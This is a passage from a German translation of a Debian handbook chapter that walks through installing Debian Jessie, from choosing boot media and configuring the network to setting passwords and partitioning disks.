Das Installationsprogramm für Jessie basiert auf debian-installer. Aufgrund seines modularen Designs ist es in der Lage, in verschiedenen Szenarien zu arbeiten, sich weiterzuentwickeln und sich auf Änderungen einzustellen. Trotz der Einschränkungen, die sich aus der Notwendigkeit ergeben eine große Anzahl von Architekturen zu unterstützen, ist das Installationsprogramm für Anfänger leicht verständlich, da es Benutzer in jeder Phase des Prozesses unterstützt. Automatische Hardware-Erkennung, geführte Partitionierung und grafische Schnittstellen haben die meisten der Probleme gelöst, denen Anfänger in den Anfangsjahren von Debian gegenüberstanden.

Eine Installation erfordert 80 MB RAM (Random Access Memory = Arbeitsspeicher) und wenigstens 700 MB Festplattenspeicher. Alle Falcot Computer erfüllen diese Kriterien. Beachten Sie jedoch, dass diese Werte für die Installation eines sehr begrenzten Systems ohne grafische Arbeitsfläche gelten. Für einen einfachen Arbeitsplatzrechner werden 512 MB RAM und mindestens 5 GB Festplattenspeicher empfohlen.

VORSICHT beim Upgrade von Wheezy

Falls Sie bereits Debian Wheezy auf Ihrem Rechner installiert haben, ist dieses Kapitel nicht für Sie geeignet! Im Gegensatz zu anderen Distributionen ermöglicht Debian die Aktualisierung eines Systems von einer Version zur nächsten, ohne das System neu installieren zu müssen. Eine Neuinstallation wäre nicht nur überflüssig, sondern könnte sogar gefährlich sein, da hierbei bereits installierte Programme entfernt werden könnten.

Der Upgrade-Prozess wird in Abschnitt 6.6, „Von einer Stable Distribution auf die nächste aktualisieren“ beschrieben.

4.1. Installationsmethoden

Ein Debian-System kann mithilfe unterschiedlicher Medien installiert werden, sofern das BIOS des Rechners es unterstützt. Sie können zum Beispiel mit einer CD-ROM, einem USB-Stick oder sogar über das Netzwerk booten.

ZURÜCK ZU DEN GRUNDLAGEN BIOS, die Schnittstelle zwischen Hard- und Software

Das BIOS (Basic Input/Output Sytem = grundlegendes Eingabe-/Ausgabe-System) ist ein Programm, das auf der Hauptplatine enthalten ist (der elektronischen Platine, an der alle Peripheriegeräte angeschlossen sind) und beim Hochfahren des Rechners ausgeführt wird, um ein Betriebssystem (über einen geeigneten Boot-Loader) zu laden. Es bleibt im Hintergrund, um eine Schnittstelle zwischen der Hardware und der Software (in unserem Fall dem Linux Kernel) bereitzustellen.

4.1.1. Von einer CD-ROM/DVD-ROM installieren

Meist wird eine CD als Installationsmedium benutzt (oder eine DVD-ROM, die sich genauso verhält): Der Rechner wird von diesem Medium hochgefahren, und das Installationsprogramm übernimmt.

Verschiedene CD-ROM-Varianten haben unterschiedliche Zielsetzungen: netinst (Netzwerkinstallation) enthält das Installationsprogramm und ein grundlegendes Debian-System; alle anderen Programme werden heruntergeladen. Sein „Image“, ein ISO-9660-Dateisystem, das genau den gleichen Inhalt hat wie die Festplatte, beansprucht abhängig von der Architektur nur etwa 150 bis 280 MB. Andererseits bietet das vollständige Set alle Pakete und ermöglicht eine Installation auf einem Rechner ohne Internetzugang; es benötigt etwa 84 CD-ROMs (beziehungsweise 12 DVD-ROMs oder zwei Blue-Ray-Disks). Die Programme sind jedoch nach Popularität und Wichtigkeit auf die Scheiben verteilt; die ersten drei Datenträger reichen für die meisten Installationen aus, da sie die meistgenutzten Programme enthalten.

Als letzter Imagetyp ist das mini.iso zu nennen, das als Nebenprodukt des Installers verfügbar ist. Das Image enthält lediglich das Minimum dessen, was für die Netzwerk-Konfiguration benötigt wird und alles übrige wird heruntergeladen (inklusiv Teilen des Installers selbst, which is why those images tend to break when a new version of the installer is released). Diese Abbilder finden sich auf einem normalen Debian-Spiegel im Verzeichnis dists/release/main/installer-arch/current/images/netboot/.

TIP Multiarchitektur-Datenträger

Die meisten Installations-CD-ROMs und -DVD-ROMs funktionieren nur mit einer spezifischen Hardwarearchitektur. Wenn Sie die vollständigen Images herunterladen möchten müssen Sie darauf achten, dass Sie diejenigen auswählen, die auf der Hardware des Rechners funktionieren auf dem Sie sie installieren möchten.

Einige CD/DVD-ROM-Images funktionieren auf mehreren Architekturen. Es gibt daher ein CD-ROM-Image, das die Netinst-Images der i386- und der amd64-Architektur kombiniert. Außerdem gibt es ein DVD-ROM-Image, das das Installationsprogramm und eine Auswahl von Binärpaketen für i386 und amd64 sowie die entsprechenden Quellpakete enthält.

Um Debian CD-ROM-Images zu bekommen, können Sie sie natürlich herunterladen und auf eine CD/DVD brennen. Sie können sie auch kaufen und so dem Projekt eine kleine finanzielle Unterstützung gewähren. Auf der folgenden Webseite finden Sie eine Liste der Verkäufer von CD-ROM-Images sowie Download-Seiten.

→ http://www.debian.org/CD/index.html

4.1.2. Von einem USB-Stick hochfahren

Nachdem die meisten Rechner auch von einem USB-Gerät booten können, lässt sich Debian auch von einem USB-Stick installieren (, da der nichts anderes als eine kleine Flash-Disk ist).

Das Installationshandbuch erklärt, wie man einen USB-Stick erstellt, der den debian-installer enthält. Das Vorgehen ist sehr einfach, da die ISO-Images für i386- und amd64 jetzt Hybrid-Images sind, die von einer CD-ROM ebenso wie von einem USB-Stick starten können.

Sie müssen zunächst den Gerätenamen des USB-Sticks feststellen (zum Beispiel /dev/sdb); am einfachsten ist es, hierzu die vom Kernel verschickten Mitteilungen mit dem Befehl dmesg zu überprüfen. Dann müssen Sie das zuvor heruntergeladene ISO-Image (zum Beispiel debian-8.0.0-amd64-i386-netinst.iso) mit dem Befehl cat debian-8.0.0-amd64-i386-netinst.iso >/dev/sdb; sync kopieren. Dieser Befehl erfordert Administratorrechte, da er direkt auf den USB-Stick zugreift und blindlings seinen Inhalt löscht.

Eine ausführlichere Erläuterung findet sich im Installationshandbuch. Unter anderem beschreibt sie eine alternative Methode zur Vorbereitung eines USB-Sticks, die zwar komplizierter ist, es jedoch erlaubt, die voreingestellten Optionen des Installationsprogramms (die in der Kernel-Befehlszeile angegeben sind) anzupassen.

→ http://www.debian.org/releases/stable/amd64/ch04s03.html

4.1.3. Installieren durch Booten über ein Netzwerk

Viele BIOS-Konfigurationen ermöglichen es, den Rechner direkt aus dem Netzwerk durch das Herunterladen eines Kernels und eines minimalen Filesystems hochzufahren. Diese Methode (die verschiedene Namen hat, wie zum Beispiel PXE- oder TFTP-Boot) kann die Rettung sein, wenn der Rechner kein CD-ROM-Laufwerk hat, oder wenn das BIOS nicht von derartigen Medien hochfahren kann.

Diese Installationsmethode verläuft in zwei Schritten. Während der Rechner hochfährt, verschickt das BIOS (oder die Netzwerkkarte) zunächst einen BOOTP/DHCP Request, um automatisch eine IP-Adresse zu beziehen. Wenn ein BOOTP- oder DHCP-Server eine Antwort zurückschickt, enthält diese sowohl einen Dateinamen als auch Netzwerkeinstellungen. Sobald der Client-Computer das Netzwerk konfiguriert hat, fordert er über das TFTP (Trivial File Transfer Protocol) die Datei an, deren Namen zuvor angegeben wurde. Sobald diese Datei verfügbar ist, wird sie als Boot-Loader ausgeführt. Dieser startet dann das Debian-Installationsprogramm, das ausgeführt wird, als würde es von einer Festplatte, einer CD-ROM oder einem USB-Stick laufen.

Alle Einzelheiten dieser Methode sind in der Installationsanleitung beschrieben (im Abschnitt „Dateien vorbereiten für TFTP-Netzwerk-Boot“).

→ http://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp

→ http://www.debian.org/releases/stable/amd64/ch04s05.html

4.1.4. Andere Installationsmethoden

Wenn wir angepasste Installationen auf einer großen Anzahl von Rechnern einrichten müssen, verwenden wir normalerweise eine automatische statt einer manuellen Installationsmethode. Je nach Situation und Komplexität der durchzuführenden Installationen können wir den FAI (Fully Automatic Installer, beschrieben in Abschnitt 12.3.1, „Fully Automatic Installer (FAI)“) oder sogar eine speziell angepasste Installations-CD mit Preseeding (siehe Abschnitt 12.3.2, „Das Debian-Installationsprogramm voreinstellen“) verwenden.

4.2. Installieren, Schritt für Schritt

4.2.1. Booten und Starten des Installationsprogramms

Sobald das BIOS damit begonnen hat, von der CD-ROM oder DVD-ROM hochzufahren, erscheint das Menü des Isolinux Boot-Loaders. Zu diesem Zeitpunkt ist der Linux-Kernel noch nicht geladen; das Menü ermöglicht es Ihnen, den zu ladenden Kernel auszuwählen und mögliche Parameter einzugeben, die an ihn im Verlauf des Vorgangs weitergeleitet werden sollen.

Für eine Standard-Installation brauchen Sie nur (mit den Pfeiltasten) „Install“ oder „Graphical install“ auszuwählen und dann die Eingabe-Taste zu drücken, um den übrigen Teil des Installationsprozesses zu starten. Falls die DVD-ROM eine „Multi-arch“-DVD ist und der Rechner einen Intel- oder AMD-64-Bit-Prozessor hat, ermöglichen die Menüoptionen „64 bit install“ und „64 bit graphical install“ die Installation der 64-Bit-Variante (amd64) anstelle der standardmäßigen 32-Bit-Variante (i386). Faktisch kann die 64-Bit-Variante fast immer benutzt werden: die meisten aktuellen Prozessoren sind 64 bit Prozessoren und die 64 bit Version eignet sich besser für die üppige Hauptspeicher-Ausstattung heutiger Computer.

WEITERFÜHRENDE INFORMATIONEN 32 oder 64 Bits?

Der wesentliche Unterschied zwischen 32- und 64-Bit-Systemen besteht im Ausmaß der Speicheradressen. Theoretisch kann ein 32-Bit-System nicht mit mehr als 4 GB RAM arbeiten (2^32 Bytes). Tatsächlich lässt sich diese Beschränkung umgehen, indem man die 686-pae-Kernelvariante benutzt, sofern der Prozessor die PAE-Funktionsweise (Physical Address Extension) unterstützt. Ihre Verwendung hat indes einen bemerkenswerten Einfluss auf die Systemgeschwindigkeit. Daher ist es sinnvoll, den 64-Bit-Modus auf einem Server mit sehr viel Arbeitsspeicher zu benutzen.

Bei einem Arbeitsplatzrechner (bei dem ein Leistungsunterschied von wenigen Prozenten unerheblich ist) sollten Sie berücksichtigen, dass einige proprietäre Programme nicht in 64-Bit-Versionen verfügbar sind (wie zum Beispiel Skype). Es ist technisch möglich, sie auf 64-Bit-Systemen zum Laufen zu bringen, aber dazu müssen Sie die 32-Bit-Versionen der erforderlichen Programmbibliotheken installieren (siehe Abschnitt 5.4.5, „Multi-Arch Unterstützung“), und manchmal müssen Sie setarch oder linux32 (aus dem Paket util-linux) verwenden, um Anwendungen über das tatsächliche System hinweg zu täuschen.

IN DER PRAXIS Installation neben einem existierenden Windows-System

Falls auf dem Rechner bereits Windows läuft, ist es nicht erforderlich, das System zu löschen, um Debian zu installieren. Sie können beide Systeme gleichzeitig nutzen, indem jedes auf einer eigenen Platte oder Partition installiert wird und beim Hochfahren des Rechners wählen Sie aus, welches Sie starten möchten. Diese Konfiguration wird häufig als „Dualboot“ bezeichnet, und das Debian-Installationssystem kann es einrichten. Dies geschieht in der Installationsphase der Festplattenpartitionierung, während der Boot-Loader eingerichtet wird (siehe die Seitenleisten in IN DER PRAXIS Eine Windows-Partition verkleinern und VORSICHT Boot-Loader und Dual-Boot).

Falls Sie bereits ein funktionierendes Windows-System haben, können Sie sogar auf die CD-ROM verzichten; Debian bietet ein Windows-Programm an, das ein einfaches Debian-Installationsprogramm herunterlädt und auf der Festplatte installiert. Sie brauchen dann nur den Rechner neu zu starten und zwischen einem normalen Windows-Start und dem Start des Installationsprogramms zu wählen. Sie finden es auch auf einer dafür eingerichteten Webseite unter einem ziemlich ironischen Namen ...

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ http://www.goodbye-microsoft.com/

ZURÜCK ZU DEN GRUNDLAGEN Boot-Lader

Der Boot-Loader ist ein Programm auf niedriger Systemebene, der für das Laden des Linux-Kernels zuständig ist, unmittelbar nachdem das BIOS seine Kontrolle abgegeben hat. Um diese Aufgabe zu erledigen, muss er in der Lage sein, den zu ladenden Kernel auf der Platte zu finden. Bei i386/amd64-Architekturen sind LILO, das ältere der beiden, und GRUB, der moderne Nachfolger, die für diese Aufgabe am häufigsten verwendeten Programme. Isolinux und Syslinux sind Alternativen, die häufig zum Hochfahren von Wechseldatenträgern aus verwendet werden.

Hinter jedem Menü-Eintrag verbirgt sich eine bestimmte Boot-Befehlszeile, die nach Bedarf konfiguriert werden kann, indem man die TAB-Taste drückt, den Eintrag überprüft und anschließend weiter hochfährt. Der Menü-Eintrag „Help“ zeigt die alte Befehlszeilenschnittstelle an, bei der die F1- bis F10-Tasten verschiedene Hilfefenster mit Einzelheiten zu den unterschiedlichen Optionen anzeigen, die an der Eingabeaufforderung zur Verfügung stehen. Sie werden diese Option nur selten benötigen, außer in sehr besonderen Fällen.

Der „Experten“-Modus (erreichbar über das Menü „Advanced Options“) zeigt ausführlich alle Optionen, die während des Installationsprozesses verwendet werden können, und erlaubt es, die einzelnen Schritte anzusteuern, ohne dass diese automatisch in der vorgegebenen Reihenfolge ablaufen. Seien Sie vorsichtig: dieser sehr ausführliche Modus kann aufgrund der Vielzahl an Konfigurationsmöglichkeiten verwirrend sein.

Abbildung 4.1. Startbildschirm

Nach dem Start führt das Installationsprogramm Sie Schritt für Schritt durch den Ablauf. In diesem Abschnitt zeigen wir jeden dieser Schritte im Detail. Wir tun das anhand der Installation von einer Multi-Arch-DVD-ROM (genauer, anhand der Beta4-Version des Installationsprogtramms für Jessie); netinst-Installationen bzw. die endgültige Version des Installationsprogramms können davon etwas abweichen. Wir werden auch die Installation im grafischen Modus ansprechen, aber sie unterscheidet sich nur im Aussehen von einer „klassischen“ (Text-Modus-) Installation.

4.2.2. Die Sprache wählen

Das Installationsprogramm beginnt in Englisch, jedoch ermöglicht der erste Schritt es dem Benutzer, die Sprache zu wählen, die im weiteren Verlauf verwendet wird. Zum Beispiel wird nach der Wahl von Deutsch eine vollständig ins Deutsche übersetzte Installation (und als Ergebnis ein auf Deutsch konfiguriertes System) bereitgestellt. Diese Wahl dient auch dazu, in den anschließenden Schritten passendere Voreinstellungen festzulegen (insbesondere die Tastaturbelegung).

ZURÜCK ZU DEN GRUNDLAGEN Mit der Tastatur navigieren

Bei einigen Schritten des Installationsprozesses müssen Sie Informationen eingeben. Diese Bildschirme haben mehrere Bereiche, die „im Fokus liegen“ können (Bereiche zur Texteingabe, Kästchen zum Ankreuzen, Auswahllisten, OK- oder Abbruchschaltflächen), und zwischen denen Sie sich mit der TAB-Taste hin- und herbewegen können.

Im grafischen Modus können Sie die Maus so verwenden, wie Sie es von Ihrem installierten Desktop gewohnt sind.

Abbildung 4.2. Die Sprache wählen

4.2.3. Das Land wählen

Der zweite Schritt besteht darin, Ihr Land auszuwählen. In Kombination mit der Sprache ermöglicht diese Information es dem Programm, die geeignetste Tastaturbelegung anzubieten. Es hat auch Auswirkungen auf die Einstellung der Zeitzone.

Abbildung 4.3. Das Land wählen

4.2.4. Die Tastaturbelegung auswählen

Die vorgeschlagene Tastaturbelegung „Deutsch“ entspricht der normalen QWERTZ-Belegung.

Abbildung 4.4. Auswahl der Tastatur

4.2.5. Hardwareerkennung

Dieser Schritt läuft in der weit überwiegenden Anzahl von Fällen völlig selbstständig ab. Das Installationsprogramm erkennt Ihre Hardware und versucht, das verwendete CD-ROM-Laufwerk zu identifizieren, um auf seinen Inhalt zuzugreifen. Es lädt die Module entsprechend der jeweils erkannten Hardwarekomponenten und „hängt“ dann die CD-ROM „ein“, um sie zu lesen. Die bisherigen Schritte waren vollständig in dem auf der CD enthaltenen Boot-Image enthalten, einer Datei begrenzter Größe, die vom BIOS während des Hochfahrens von der CD in den Arbeitsspeicher geladen wurde.

Das Installationsprogramm kommt mit der weit überwiegenden Mehrzahl von Laufwerken zurecht, insbesondere mit den standardmäßigen ATAPI-Pheripheriegeräten (manchmal auch als IDE und EIDE bezeichnet). Falls aber die Erkennung des CD-ROM-Laufwerks fehlschlägt, bietet das Installationsprogramm an, ein zum CD-ROM-Treiber passendes Kernelmodul (zum Beispiel von einem USB-Stick) zu laden.

4.2.6. Komponenten laden

Nachdem nun der Inhalt der CD verfügbar ist, lädt das Installationsprogramm alle für seine weitere Arbeit erforderlichen Dateien. Hierzu gehören zusätzliche Treiber für die übrige Hardware (vor allem die Netzwerkkarte) wie auch alle Komponenten des Installationsprogramms.

4.2.7. Netzwerk-Hardware erkennen

Dieser automatische Schritt versucht die Netzwerkkarte zu erkennen und das entsprechende Modul zu laden. Schlägt die automatische Erkennung fehl, so können Sie manuell das zu ladende Modul auswählen. Falls kein Modul passt, ist es möglich, ein spezifisches Modul von einem Wechseldatenträger zu laden. Diese letzte Lösung ist normalerweise nur erforderlich, falls kein passender Treiber im standardmäßigen Linux-Kernel enthalten ist, aber an anderer Stelle zur Verfügung steht, beispielsweise auf der Webseite des Herstellers.

Dieser Schritt muss bei netinst-Installationen auf jeden Fall erfolgreich sein, da die Debian-Pakete aus dem Netzwerk geladen werden müssen.

4.2.8. Konfigurieren des Netzwerks

In dem Bestreben, den Vorgang möglichst weitgehend zu automatisieren, unternimmt das Installationsprogramm den Versuch einer automatischen Netzwerkkonfiguration durch DHCP (bei IPv4) oder durch Netzwerkerkennung (bei IPv6). Falls dieser fehlschlägt, bietet es mehrere Wahlmöglichkeiten an: es ein weiteres Mal mit einer normalen DHCP-Konfiguration zu versuchen, eine DHCP-Konfiguration mit Angabe des Rechnernamens zu probieren, oder eine statische Netzwerkkonfiguration einzurichten.

Diese letzte Option erfordert die Angabe einer IP-Adresse, einer Subnetzmaske, einer IP-Adresse für ein eventuelles Gateway und eines Domain-Namens.

TIP Konfiguration ohne DHCP

Falls das lokale Netzwerk mit einem DHCP-Server ausgestattet ist, den Sie nicht benutzen möchten, da Sie stattdessen im Verlauf der Installation für den Rechner lieber eine statische IP-Adresse festlegen möchten, können Sie beim Hochfahren von der CD-ROM die Option netcfg/use_dhcp=false hinzufügen. Sie müssen nur durch Drücken der TAB-Taste zu dem gewünschten Menü-Eintrag gehen und die gewünschte Option hinzufügen, bevor Sie dann die Enter-Taste drücken.

VORSICHT Nicht improvisieren

Viele lokale Netzwerke beruhen auf der impliziten Annahme, dass allen Rechnern vertraut werden kann, und die unzureichende Konfiguration eines einzelnen Rechners kann häufig das gesamte Netzwerk durcheinanderbringen. Deshalb sollten Sie Ihren Rechner nicht mit einem Netzwerk verbinden, ohne sich vorher mit dem Administrator über die passenden Einstellungen geeinigt zu haben (zum Beispiel die IP-Adresse, die Netzmaske und die Broadcast-Adresse).

4.2.9. Administrator-Passwort

Das Root-Konto des Superusers ist für den Administrator des Rechners reserviert und wird während der Installation automatisch erstellt; deshalb wird ein Passwort angefordert. Der Installer fragt auch nach einer Bestätigung des Passworts um Eingabefehler zu verhindern, die später nur schwer zu berichtigen wären.

Abbildung 4.5. Administrator-Passwort

SICHERHEIT Administrator-Passwort

Das Passwort des Root-Users sollte lang (8 Zeichen oder mehr) und nicht zu erraten sein. In der Tat ist jeder mit dem Internet verbundene Rechner (und erst recht jeder Server) regelmäßig das Ziel automatischer Verbindungsversuche mit den nächstliegenden Passwörtern. Manchmal kann er sogar einem Wörterbuchangriff ausgesetzt sein, bei dem viele Kombinationen von Wörtern und Zahlen als Passwörter ausprobiert werden. Vermeiden Sie es, die Namen von Kindern oder Eltern, Geburtstage und so weiter zu benutzen: viele Ihrer Kollegen kennen sie möglicherweise, und Sie möchten ihnen nur selten freien Zugang zu dem betreffenden Rechner geben.

Diese Anmerkungen gelten in gleicher Weise für andere Benutzerkennwörter, aber die Folgen eines kompromittierten Kontos sind für Benutzer ohne Administrator-Rechte weniger einschneidend.

Falls Ihnen nichts einfällt, sollten Sie nicht zögern, einen Passwort-Generator wie pwgen (im Paket gleichen Namens) zu verwenden.

4.2.10. Den ersten Benutzer erstellen

Debian erzwingt auch das Anlegen eines normalen Nutzerkontos, so dass der Administrator nicht die schlechte Angewohnheit entwickelt, als Root zu arbeiten. Das Vorsorgeprinzip bedeutet im Kern, dass jede Aufgabe mit den geringst erforderlichen Rechten ausgeführt wird, um so den durch menschliches Versagen verursachten Schaden zu begrenzen. Deshalb fragt das Installationsprogramm nach dem vollständigen Namen des ersten Nutzers, seinem Benutzernamen und seinem Passwort (zweimal, um die Gefahr einer fehlerhaften Eingabe zu vermeiden).

Abbildung 4.6. Name des ersten Benutzers

4.2.11. Die Uhr einstellen

Wenn das Netzwerk zugänglich ist, wird die interne Systemuhr (durch einmaligen Zugriff) über einen NTP-Server gestellt. Auf diese Weise sind die Zeitstempel der Protokolldateien vom ersten Startvorgang an korrekt. Damit sie im Zeitverlauf durchgehend genau bleiben, muss nach der anfänglichen Installation ein NTP-Deamon eingerichtet werden (siehe Abschnitt 8.9.2, „Zeitsynchronisierung“).

4.2.12. Platten und andere Geräte erkennen

In diesem Schritt werden automatisch die Festplatten erkannt, auf denen Debian installiert werden kann. Sie werden im nächsten Schritt, der Partitionierung, angezeigt.

4.2.13. Das Partitionierungswerkzeug starten

KULTUR Nutzen des Partitionierens

Das Partitionieren, ein unabdingbarer Schritt der Installation, besteht darin, den auf den Festplatten verfügbaren Platz nach Maßgabe der darauf zu speichernden Daten und der beabsichtigten Verwendung des Rechners aufzuteilen (jede derartige Unterabteilung wird „Partition“ genannt). Bei diesem Schritt werden auch die zu verwendenden Dateisysteme ausgewählt. All diese Entscheidungen beeinflussen die Leistungsstärke, Datensicherheit und Administration des Servers.

Der Schritt des Partitionierens ist für neue Nutzer normalerweise schwierig. Die verschiedenen Teile der Platten (oder „Partitionen“), auf denen die Linux-Dateisysteme und der virtuelle Speicher (Swap) abgelegt werden sollen, müssen bestimmt werden. Diese Aufgabe wird noch schwieriger, wenn sich auf dem Rechner bereits ein anderes Betriebssystem befindet, das Sie behalten möchten. Sie müssen dann auf jeden Fall sicherstellen, dass dessen Partitionen nicht verändert werden (oder dass Sie ihre Größe verändern, ohne Schaden anzurichten).

Glücklicherweise verfügt das Partitionierungsprogramm über einen „geführten“ Modus, der dem Nutzer die einzurichtenden Partitionen vorschlägt - in den meisten Fällen können Sie die Vorschläge des Programms einfach bestätigen.

Abbildung 4.7. Wahl der Partitionierungsart

Der erste Bildschirm des Partitionierungsprogramms bietet Ihnen an, die gesamte Festplatte zur Erstellung verschiedener Partitionen zu verwenden. Für einen (neuen) Rechner, der ausschließlich Linux verwenden wird, ist diese Option eindeutig die einfachste, und Sie können die Option „Geführt - vollständige Festplatte verwenden“ wählen. Falls der Rechner zwei Festplatten für zwei Betriebssysteme hat, kann es die Partitionierung erleichtern, wenn jeweils eine Festplatte für ein Betriebssystem ausgewählt wird. In beiden Fällen bietet der nächste Bildschirm an, die Festplatte, auf der Linux installiert wird, durch Auswählen des entsprechenden Eintrags zu bestimmen (zum Beispiel „SCSI1 (0,0,0) (sda) - 12.9 GB ATA VBOX HARDDISK“). Anschließend beginnen Sie die geführte Partitionierung.

Abbildung 4.8. Für geführtes Partitionieren zu verwendende Platte

Geführtes Partitionieren kann auch statt Partitionen logische Datenträger unter LVM einrichten (siehe unten). Da der Rest des Verfahrens jedoch der gleiche ist, werden wir die Option „Geführt - gesamte Platte verwenden und LVM einrichten“ (verschlüsselt oder nicht) nicht durchgehen.

In anderen Fällen, wenn Linux neben anderen bereits existierenden Partitionen laufen muss, müssen Sie manuelles Partitionieren wählen.

4.2.13.1. Geführtes Partitionieren

Das Programm zum geführten Partitionieren bietet drei Partitionierungsmethoden an, die unterschiedlichen Einsätzen entsprechen.

Abbildung 4.9. Geführtes Partitionieren

Die erste Methode heißt „Alle Dateien in eine Partition“. Der gesamte Linux-Systembaum wird in einem einzigen zum Stammverzeichnis / gehörenden Dateisystem abgelegt. Diese einfache und stabile Partitionierung passt ausgezeichnet zu einem personengebundenen oder Einzelplatzsystem. Eigentlich werden zwei Partitionen erstellt: die erste nimmt das gesamte System auf, die zweite den virtuellen Speicher (Swap).

Die zweite Methode, „Separate /home/-Partition“, ist ähnlich, teilt jedoch die Dateihierarchie in zwei Partitionen auf: eine Partition enthält das Linux-System (/) und die zweite die „home-Verzeichnisse“ (das heißt Nutzerdaten in Dateien und Unterverzeichnissen unter /home/).

Die letzte Partitionierungsmethode, „eigene /home-, /var- und /tmp-Partitionen“ genannt, ist für Server und Mehrplatzsysteme geeignet. Sie teilt den Verzeichnisbaum in zahlreiche Partitionen: zusätzlich zu den Wurzel- (/) und Benutzerkonten (/home/) enthält sie auch Partitionen für Serverprogrammdaten (/var/) und temporäre Dateien (/tmp/). Diese Unterteilung hat mehrere Vorteile. Nutzer können den Server nicht blockieren, indem sie den gesamten verfügbaren Festplattenplatz verbrauchen (sie können nur /tmp/ und /home/ auffüllen). Und die Daemon-Daten (vor allem Protokolle) können nicht mehr den Rest des Systems verstopfen.

ZURÜCK ZU DEN GRUNDLAGEN Ein Dateisystem wählen

Ein Dateisystem bestimmt die Art und Weise, in der Daten auf einer Festplatte angeordnet werden. Jedes bestehende Dateisystem hat seine Vorzüge und Beschränkungen. Einige sind stabiler, andere effektiver: wenn Sie Ihre Anforderungen gut kennen, ist es möglich, das zweckmäßigste Dateisystem auszuwählen. Es gibt bereits zahlreiche Vergleiche; anscheinend ist das ReiserFS vor allem für das Lesen vieler kleiner Dateien effizient; dagegen arbeitet XFS besser mit großen Dateien. Ext4, das Standarddateisystem für Debian, ist ein guter Kompromiss und basiert auf den drei früher in Linux verwendeten Dateisystemversionen (ext und ext2und ext3). Sein Nachfolger ext4, der bestimmte Einschränkungen von ext3 überwindet, ist vor allem für Festplatten mit sehr großer Kapazität geeignet. Sie können auch mit dem vielversprechenden btrfs zu experimentieren, das zahlreiche Merkmale aufweist, die bislang die Verwendung von LVM oder RAID erfordern.

Ein protokollierendes Dateisystem (wie ext3, ext4, btrfs, reiserfs oder xfs) unternimmt besondere Schritte, um nach einer plötzlichen Störung die Rückkehr zu einem früheren konsistenten Zustand zu ermöglichen, ohne die gesamte Festplatte zu analysieren (wie es beim ext2-System der Fall war). Diese Fähigkeit wird durch das Führen eines Journals erreicht, das die auszuführenden Operationen beschreibt, bevor sie tatsächlich vollzogen werden. Falls eine Operation unterbrochen wird, ist es möglich, sie aus dem Journal zu wiederholen. Falls im Gegenzug eine Unterbrechung während einer Aktualisierung des Journals eintritt, wird die zuletzt angeforderte Veränderung einfach ignoriert; die Daten, die gerade geschrieben werden, könnten so verloren gehen, aber da die Daten auf der Festplatte nicht verändert wurden, sind sie kohärent geblieben. Dies bedeutet nicht mehr und nicht weniger, als dass ein Transaktionsmechanismus auf das Dateisystem angewendet wird.

Nach der Auswahl der Partitionierungsmethode berechnet das Programm einen Vorschlag und zeigt ihn auf dem Bildschirm an; der Nutzer kann ihn dann, falls erforderlich, abändern. Insbesondere können Sie ein anderes Dateisystem wählen, falls die Standardauswahl (ext4) nicht zweckmäßig ist. In den meisten Fällen ist die vorgeschlagene Partitionierung jedoch sinnvoll und kann durch die Auswahl des Eintrags „Partitionierung beenden und Änderungen übernehmen“ angenommen werden.

Abbildung 4.10. Das Partitionieren bestätigen

4.2.13.2. Manuelles Partitionieren

Manuelles Partitionieren bietet größere Flexibilität, indem sie es dem Nutzer ermöglicht, den Verwendungszweck und die Größe jeder Partition zu wählen. Darüber hinaus ist dieser Modus unumgänglich, wenn Sie Software-RAID verwenden möchten.

IN DER PRAXIS Eine Windows-Partition verkleinern

Um Debian neben einem bestehenden Betriebssystem (Windows oder andere) zu installieren, benötigen Sie einigen verfügbaren Festplattenplatz, der nicht von dem anderen System benutzt wird, um dort die für Debian vorgesehenen Partitionen zu erstellen. In den meisten Fällen bedeutet dies, eine Windows-Partition zu verkleinern und den freigewordenen Platz zu nutzen.

Das Debian-Installationsprogramm ermöglicht diese Aktion im manuellen Partitionierungsmodus. Sie müssen nur die Windows-Partition auswählen und ihre neue Größe eingeben (dies funktioniert sowohl bei FAT- als auch bei NTFS-Partitionen).

Der erste Bildschirm zeigt die verfügbaren Festplatten, ihre Partitionen und jeglichen freien Speicherplatz, der noch nicht partitioniert ist. Sie können jedes der angezeigten Elemente auswählen; durch Drücken der Eingabe-Taste wird dann eine Liste der möglichen Aktionen angezeigt.

Sie können alle Partitionen auf der Platte löschen, indem Sie sie auswählen.

Wenn Sie freien Speicherplatz auf einer Platte auswählen, können Sie manuell eine neue Partition erstellen. Sie können dies auch mittels einer geführten Partitionierung tun, was eine interessante Lösung für eine Platte ist, die bereits ein anderes Betriebssystem enthält, die Sie jedoch für Linux in der üblichen Weise partitionieren möchten. Siehe Abschnitt 4.2.13.1, „Geführtes Partitionieren“ für mehr Einzelheiten zur geführten Partitionierung.

ZURÜCK ZU DEN GRUNDLAGEN Einhängepunkt

Der Einhängepunkt ist der Verzeichnisbaum, der auf der ausgewählten Partition den Inhalt des Dateisystems beherbergen wird. So ist eine als /home/ eingehängte Partition üblicherweise dazu bestimmt, Nutzerdaten zu enthalten.

Wenn das Verzeichnis „/“ heißt, wird es als root des Verzeichnisbaums bezeichnet und damit als Wurzel der Partition, die das Debian-System aufnehmen wird.

ZURÜCK ZU DEN GRUNDLAGEN Virtueller Speicher, Swap

Virtueller Speicher ermöglicht es dem Linux-Kernel, wenn ihm ausreichender Speicher (RAM) fehlt, etwas Speicherplatz freizumachen, indem er Teile des RAM, die seit einiger Zeit inaktiv waren, auf der Swap-Partition der Festplatte ablegt.

Um zusätzlichen Speicher zu simulieren, verwendet Windows eine Swap-Datei, die direkt in einem Dateisystem enthalten ist. Im Gegensatz hierzu verwendet Linux eine speziell für diesen Zweck vorgesehene Partition, daher der Name „Swap-Partition“.

Bei der Auswahl einer Partition können Sie angeben, in welcher Weise Sie sie verwenden möchten:

- formatieren und durch Auswahl eines Einhängepunkts in den Verzeichnisbaum aufnehmen;

- als Swap-Partition verwenden;

- zu einem „physikalischen Datenträger für die Verschlüsselung“ machen (um die Vertraulichkeit der Daten auf bestimmten Partitionen zu schützen, siehe unten);

- zu einem „physikalischen Datenträger für LVM“ machen (dieses Konzept wird weiter unten in diesem Kapitel ausführlicher erläutert);

- als RAID-Laufwerk verwenden (siehe weiter unten in diesem Kapitel);

- oder sie nicht zu verwenden und daher unverändert zu lassen.

4.2.13.3. Mehrplattenlaufwerke konfigurieren (Software-RAID)

